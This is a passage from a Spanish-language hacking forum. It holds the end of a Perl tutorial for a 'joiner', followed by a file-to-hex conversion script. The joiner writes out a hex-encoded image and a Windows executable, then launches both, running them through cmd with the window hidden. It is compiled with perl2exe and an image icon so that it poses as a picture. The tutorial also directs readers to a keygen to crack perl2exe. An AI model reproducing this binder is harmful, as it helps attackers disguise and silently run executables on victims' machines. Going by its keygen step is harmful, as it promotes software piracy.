0000400000000200000003002e62737300000000600000000400000003002e69646174612437480200000500000003002e69646174612435b80000000500000003002e69646174612434500000000500000003002e69646174612436440100000500000003002e74657874000000900800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e696461746124373c0200000500000003002e69646174612435ac0000000500000003002e69646174612434440000000500000003002e69646174612436180100000500000003002e74657874000000a00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437440200000500000003002e69646174612435b40000000500000003002e696461746124344c0000000500000003002e69646174612436340100000500000003002e74657874000000b00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437400200000500000003002e69646174612435b00000000500000003002e69646174612434480000000500000003002e69646174612436280100000500000003002e74657874000000c00800000100000003002e64617461000000400000000200000003002e62737300000000600000000400000003002e69646174612437380200000500000003002e69646174612435a80000000500000003002e69646174612434400000000500000003002e696461746124360c0100000500000003002e66696c6500000059010000feff0000670166616b650000000000000000000000000000686e616d6500000040000000050000000300667468756e6b0000a80000000500000003002e74657874000000d00800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612432000000000500000003011400000003000000000000000000000000002e69646174612435a40000000500000003010400000000000000000000000000000000002e696461746124343c0000000500000003010400000000000000000000000000000000002e66696c6500000067010000feff0000670166616b6500000000000000000000000000002e74657874000000d00800000100000003010000000000000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e69646174612434540000000500000003010400000000000000000000000000000000002e69646174612435bc0000000500000003010400000000000000000000000000000000002e696461746124374c0200000500000003010d00000000000000000000000000000000002e66696c6500000073010000feff0000670163727473747566662e6300000000000000000000000086010000d00800000100200003010000000000000000000000000000000000002e74657874000000d00800000100000003010900000001000000000000000000000000002e64617461000000400000000200000003010000000000000000000000000000000000002e62737300000000600000000400000003010000000000000000000000000000000000002e63746f72730000200900000100000003010400000001000000000000000000000000005f5f636578697400b007000001002000020000000000980100000001000003000000020000000000b7010000e400000005000000020000000000c70100000000000002000000020000000000d6010000280900000100000002005f667265650000003008000001002000020000000000e5010000e000000005000000020000000000f4010000e0070000010020000200000000000002000080080000010000000200000000001f02000060000000040000000200000000003a020000000000000100000002000000000049020000a0020000050000000200000000005d020000b00000000500000002000000000070020000e8000000050000000200000000007d02000000100000ffff00000200000000009602000000002000ffff0000020000000000b002000004000000ffff0000020000000000cc0200000000000001000000020000000000de020000c008000001000000020000000000ea0200000000000001000000020000000000fc020000200700000100000002000000000006030000000000000100000002000000000016030000c8000000050000000200000000002a030000dc0000000500000002005f5f66696c62756620080000010020000200000000003603000000000000040000000200000000004403000000010000030000000200000000006703000000100000ffff00000200000000007f030000c0070000010020000200000000008d03000000000000010000000200000000009f0300000000000001000000020000000000af030000040100000500000002005f5f646c6c5f5f0000000000ffff0000020000000000bd03000000000000ffff0000020000000000d2030000ec00000005000000020000000000e00300001400000005000000020000000000f303000000004000ffff00000200000000000204000000100000ffff000002000000000018040000000100000300000002000000000036040000cc0000000500000002005f5f6172676300000400000004000000020000000000480400009008000001000000020000000000570400004000000002000000020000000000640400000008000001002000020000000000730400007000000004000000020000000000840400001c0900000100000002000000000092040000a00700000100000002005f66666c757368006008000001002000020000000000a2040000b000000004000000020000000000ae0400001000000004000000020000000000ba040000000000000100000002005f667072696e7466700800000100200002005f5f616c6c6f63612007000001000000020000000000ca040000000000000100000002005f5f6172677600000000000004000000020000000000dc0400001c09000001000000020000000000eb040000b40000000500000002005f5f666d6f64650010000000020000000200000000000205000000020000ffff000002000000000015050000fc000000050000000200000000002305000004000000ffff000002005f5f656e645f5f00000000000100000002005f7369676e616c00d00700000100200002005f6d616c6c6f6300400800000100200002000000000038050000280900000100000002000000000046050000f4000000050000000200000000005505000000001000ffff00000200000000006e05000000000000010000000200000000008005000003000000ffff00000200000000008e050000f00000000500000002005f61626f7274000050080000010020000200000000009c0500008000000004000000020000000000b8050000c400000005000000020000000000cd0500000000000001000000020000000000da050000ac00000005000000020000000000ef050000f800000005000000020000000000fb050000b8000000050000000200000000002006000001000000ffff00000200000000003806000000000000ffff000002000000000049060000000000000200000002000000000054060000f0070000010020000200000000005e06000000010000050000000200000000006c060000a8000000050000000200000000007e060000000000000500000002000000000093060000d400000005000000020000000000a106000000000000ffff0000020000000000bd06000000000000ffff0000020000000000d5060000d800000005000000020000000000e4060000d000000005000000020000000000fa060000b00800000100000002005f7072696e746600100800000100200002000000000007070000a0080000010000000200000000001807000000010000030000000200000000003a0700004c020000050000000200000000005007000000000000010000000200600700005f5f676e755f657863657074696f6e5f68616e646c65724034005f5f5f6d696e67775f43525453746172747570005f6d61696e43525453746172747570005f57696e4d61696e43525453746172747570005f5f5f646f5f736a6c6a5f696e6974002e746578742467657463686172005f5f7065693338365f72756e74696d655f72656c6f6361746f72005f5f66707265736574005f696e697469616c697a6564005f5f5f646f5f676c6f62616c5f64746f7273005f5f5f646f5f676c6f62616c5f63746f72730070736575646f2d72656c6f632d6c6973742e63005f7733325f61746f6d5f737566666978005f5f5f7733325f7368617265647074725f64656661756c745f756e6578706563746564005f5f5f7733325f7368617265647074725f676574006477325f6f626a6563745f6d757465782e30006477325f6f6e63652e3100736a6c5f66635f6b65792e3200736a6c5f6f6e63652e33005f5f5f7733325f7368617265647074725f696e697469616c697a65005f5f5f657072696e7466005f5f5f736a6c6a5f696e69745f63746f72005f5f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f5f005f5f696d705f5f5f7365746d6f6465005f5f646174615f73746172745f5f005f5f5f44544f525f4c4953545f5f005f5f696d705f5f5f6f6e65786974005f5f5f705f5f666d6f6465005f536574556e68616e646c6564457863657074696f6e46696c7465724034005f5f5f7733325f7368617265647074725f7465726d696e617465005f5f5f746c735f73746172745f5f005f5f6c69626d73766372745f615f696e616d65005f5f696d705f5f46696e6441746f6d414034005f5f696d705f5f61626f7274005f5f73697a655f6f665f737461636b5f636f6d6d69745f5f005f5f73697a655f6f665f737461636b5f726573657276655f5f005f5f6d616a6f725f73756273797374656d5f76657273696f6e5f5f005f5f5f6372745f786c5f73746172745f5f005f41646441746f6d414034005f5f5f6372745f78695f73746172745f5f005f5f5f63686b73746b005f5f5f6372745f78695f656e645f5f005f5f696d705f5f5f5f705f5f656e7669726f6e005f5f696d705f5f5f696f62005f5f6273735f73746172745f5f005f5f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f454e445f5f005f5f73697a655f6f665f686561705f636f6d6d69745f5f005f5f5f705f5f656e7669726f6e005f5f5f6372745f78705f73746172745f5f005f5f5f6372745f78705f656e645f5f005f5f696d705f5f7369676e616c005f5f6d696e6f725f6f735f76657273696f6e5f5f005f5f696d705f5f617465786974005f5f686561645f6c69626d73766372745f61005f5f696d6167655f626173655f5f005f5f73656374696f6e5f616c69676e6d656e745f5f005f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f5f005f5f696d705f5f5f5f705f5f666d6f6465005f4578697450726f636573734034005f5f646174615f656e645f5f005f5f5f6765746d61696e61726773005f5f5f7733325f736861726564707472005f5f43544f525f4c4953545f5f005f5f5f7365745f6170705f74797065005f5f6273735f656e645f5f005f5f4352545f666d6f6465005f5f5f6372745f78635f656e645f5f005f5f5f6372745f78635f73746172745f5f005f5f5f43544f525f4c4953545f5f005f5f696d705f5f47657441746f6d4e616d6541403132005f5f66696c655f616c69676e6d656e745f5f005f5f696d705f5f6d616c6c6f63005f5f6d616a6f725f6f735f76657273696f6e5f5f005f5f44544f525f4c4953545f5f005f5f696d705f5f667072696e7466005f5f73697a655f6f665f686561705f726573657276655f5f005f5f5f6372745f78745f73746172745f5f005f5f73756273797374656d5f5f005f5f696d705f5f66666c757368005f5f5f7733325f7368617265647074725f756e6578706563746564005f5f696d705f5f5f5f6765746d61696e61726773005f5f5f746c735f656e645f5f005f5f696d705f5f4578697450726f636573734034005f5f696d705f5f66726565005f5f696d705f5f536574556e68616e646c6564457863657074696f6e46696c7465724034005f5f6d616a6f725f696d6167655f76657273696f6e5f5f005f5f6c6f616465725f666c6167735f5f005f5f4352545f676c6f62005f5f7365746d6f6465005f5f696d705f5f7072696e7466005f5f696d705f5f41646441746f6d414034005f5f686561645f6c69626b65726e656c33325f61005f5f696d705f5f5f6365786974005f5f6d696e6f725f73756273797374656d5f76657273696f6e5f5f005f5f6d696e6f725f696d6167655f76657273696f6e5f5f005f5f696d705f5f5f66696c627566005f5f696d705f5f5f5f7365745f6170705f74797065005f46696e6441746f6d414034005f47657441746f6d4e616d6541403132005f5f52554e54494d455f50534555444f5f52454c4f435f4c4953545f454e445f5f005f5f6c69626b65726e656c33325f615f696e616d65005f5f5f6372745f78745f656e645f5f00";
  9.  

Como ven , usamos primero los bytes de la imagen y despues los del archivo exe que es un simple hola mundo en c.

Ahora nos toca crear los archivos :

Código
  1. open( NOMBRE_UNO, ">>" . $nombre_uno )
  2.  ;    ## Creamos el archivo con el nombre marcado en el codigo anterior
  3. binmode(NOMBRE_UNO);    # Lo abrimos de forma binaria
  4. my $test_uno = pack "H*",
  5.  $valor_uno;           # Decodificamos el hexadecimal (gracias a explorer)
  6.  
  7. print NOMBRE_UNO $test_uno
  8.  ;    # Escribimos el resultado de la decodificacion en el archivo creado
  9. close(NOMBRE_UNO);    # Cerramos el archivo
  10.  
  11. open( NOMBRE_DOS, ">>" . $nombre_dos );    # Lo mismo pero con el otro archivo
  12. binmode(NOMBRE_DOS);                       # Lo mismo pero con el otro archivo
  13. my $test_dos = pack "H*", $valor_dos;      # Lo mismo pero con el otro archivo
  14.  
  15. print NOMBRE_DOS $test_dos;                # Lo mismo pero con el otro archivo
  16. close NOMBRE_DOS;      
  17.  

Ya casi terminamos , lo que nos falta ahora es cargar los archivos al mismo tiempo de la siguiente forma :

Código
  1. my $comando1 = threads->new( \&uno );      # thread para cargar el archivo
  2. my $comando2 = threads->new( \&dos );      # thread para cargar el otro archivo
  3.  
  4. $comando1->join();                         # empezamos
  5. $comando2->join();                         # lo mismo
  6.  
  7. sub uno {    # funcion para cargar el primer archivo
  8.    cargar_hide($nombre_uno);
  9. }
  10.  
  11. sub dos {    #funcion para cargar el segundo archivo
  12.    cargar_hide($nombre_dos);
  13. }
  14.  
  15. sub cargar_hide {    # nombre de la funcion marcada anteriormente
  16.  
  17.    my $job = Win32::Job->new;
  18.  
  19.    $job->spawn( "cmd", qq{cmd /C $_[0]}, { no_window => "true" } )
  20.      ;              # cargamos el archivo de forma oculta
  21.    $ok = $job->run("30");
  22.  
  23. }
  24.  

Con eso terminanos el archivo joiner.pl

0x03 : Compilacion

Esto es lo mas importante , porque es para pasar el script joiner.pl a exe , entonces retomamos el archivo descomprimido y vemos que tenemos un directorio llamado "PERL2EXE" dentro de el tenemos un archivo llamado keygen lo cargamos y llenamos los datos que nos pide con cualquier cosa , cuando nos devuelva el supuesto serial cargamos perl2exe de la siguiente forma "perl2exe -register" , pegamos el serial y le damos enter , despues de eso si todo salio bien tendremos perl2exe a nuestro placer.

Entonces para compilar el script hacemos lo siguiente :

Código
  1. perl2exe -icon=imagen.ico -gui joiner.pl
  2.  

El archivo imagen.ico lo encontraran en el archivo descomprimido y sirve para darle algo de realismo a la supuesta imagen que nos muestra a coraje el perro cobarde , honestamente ni un ciego caeria en tal absurdo intento de joiner pero solo lo hice para dejar la idea como hacerlo en perl xDD.

Algo importante a mencionar es que el joiner.pl no funciona como queremos pero cuando lo pasamos a exe anda bien me refiero a que el tema de la consola molesta se borra en joiner.pl y no se muestra ningun archivo pero cuando lo pasamos a exe con perl2exe anda todo de maravilla.

0x04 : Herramientas y Codigos finales

El archivo joiner.pl
El archivo hexnow.pl

Eso seria todo , cualquier sugerencia para mejorar la idea diganla.
240  Programación / Scripting / [Perl] HexNow 0.1 en: 9 Marzo 2013, 17:43 pm
Un simple script para convertir el codigo de un archivo en hexadecimal , muy util para un proyecto que tengo en mente.
El script es una traduccion a perl del famoso programa getbytes.py hecho por hecky neobits.

El codigo :

Código
  1. #!usr/bin/perl
  2. #HexNow 0.1
  3. #Coded By Doddy H
  4. #Script based in getbytes.py made by hecky neobits
  5. #Thanks to hecky neobits & explorer(perlenespanol)
  6.  
  7. use Getopt::Long;
  8. use File::Basename;
  9. use Cwd;
  10.  
  11. chdir( getcwd() );
  12.  
  13. GetOptions(
  14.    "hex=s"      => \$hex,
  15.    "each=s"     => \$hexeach,
  16.    "output=i"   => \$output,
  17.    "savefile=s" => \$savefile
  18. );
  19.  
  20. head();
  21.  
  22. if ($hex) {
  23.  
  24.    my $code_final;
  25.  
  26.    if ($hexeach) {
  27.  
  28.        my $st = unpack "H*", getcontent($hex);
  29.        my $reco;
  30.  
  31.        for ( my $num = 0 ; $num <= length($st) - 1 ; $num += $hexeach ) {
  32.            my $final = substr $st, $num, $hexeach;
  33.            $reco .= $final . "\n";
  34.        }
  35.  
  36.        $code_final = $reco;
  37.  
  38.    }
  39.    else {
  40.        $code_final = unpack "H*", getcontent($hex);
  41.    }
  42.  
  43.    if ( $output eq "1" ) {
  44.  
  45.        print "\n\n[+] Encoding ....\n";
  46.  
  47.        print "\n[Start]\n\n";
  48.        print $code_final;
  49.        print "\n\n[End]\n";
  50.  
  51.    }
  52.  
  53.    if ($savefile) {
  54.        savefile( $savefile, $code_final );
  55.        print "\n[+] Result generated in : $savefile\n";
  56.    }
  57.    else {
  58.        my $div = basename($hex);
  59.        if ( $div =~ /(.*)\.(.*)/ ) {
  60.            my $listo = $1 . "_hex.txt";
  61.            savefile( $listo, $code_final );
  62.            print "\n[+] Result generated in : $listo\n";
  63.        }
  64.    }
  65.  
  66.    copyright();
  67.  
  68. }
  69.  
  70. sub head {
  71.    print qq(
  72.  
  73.             _____
  74.      ,----/,--.   `.
  75.     /    '. `-'     \         Program Name : HexNow
  76.     | ____ \      '`|_        Version : 0.1
  77.     \'.--._/` _     \ '.       Author : Doddy H
  78.          /'-|/ \|`\|-`  \       Script based in getbytes.py made by hecky neobits  
  79.         /   /       \   |     Thanks to hecky neobits
  80.         |  ;    '`  |  .'
  81.         '. |;;      ;  /
  82.          \ \ ;     / ,'        Examples :
  83.           ;--,   .,--,
  84.        __||=|=|./|=|=||___   perl hexnow.pl -hex imagen.jpg
  85.          `'-'-'  `-'-'`      perl hexnow.pl -hex imagen.jpg -each 5
  86.      ______________________  perl hexnow.pl -hex imagen.jpg -output 1
  87.          /'/ /  \ \ \         perl hexnow.pl -hex imagen.jpg -savefile test.txt
  88.         / '.';  ; \ ' \
  89.        '-/   | ; | ; \-'
  90.          \_| |   | |_/        The End ?
  91.            `-'\_/`-'
  92.  
  93. );
  94. }
  95.  
  96. sub copyright {
  97.    print "\n(C) Doddy Hackman 2013\n";
  98.    exit(1);
  99. }
  100.  
  101. sub getcontent {
  102.  
  103.    open( FILE, $_[0] );
  104.    binmode(FILE);
  105.    my @lines = <FILE>;
  106.    close FILE;
  107.  
  108.    $code = join "", @lines;
  109.    return $code;
  110.  
  111. }
  112.  
  113. sub savefile {
  114.  
  115.    if ( -f $_[0] ) {
  116.        unlink( $_[0] );
  117.    }
  118.  
  119.    open( SAVE, ">>" . $_[0] );
  120.    print SAVE $_[1];
  121.    close SAVE;
  122. }
  123.  
  124. #The End ?
  125.  
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines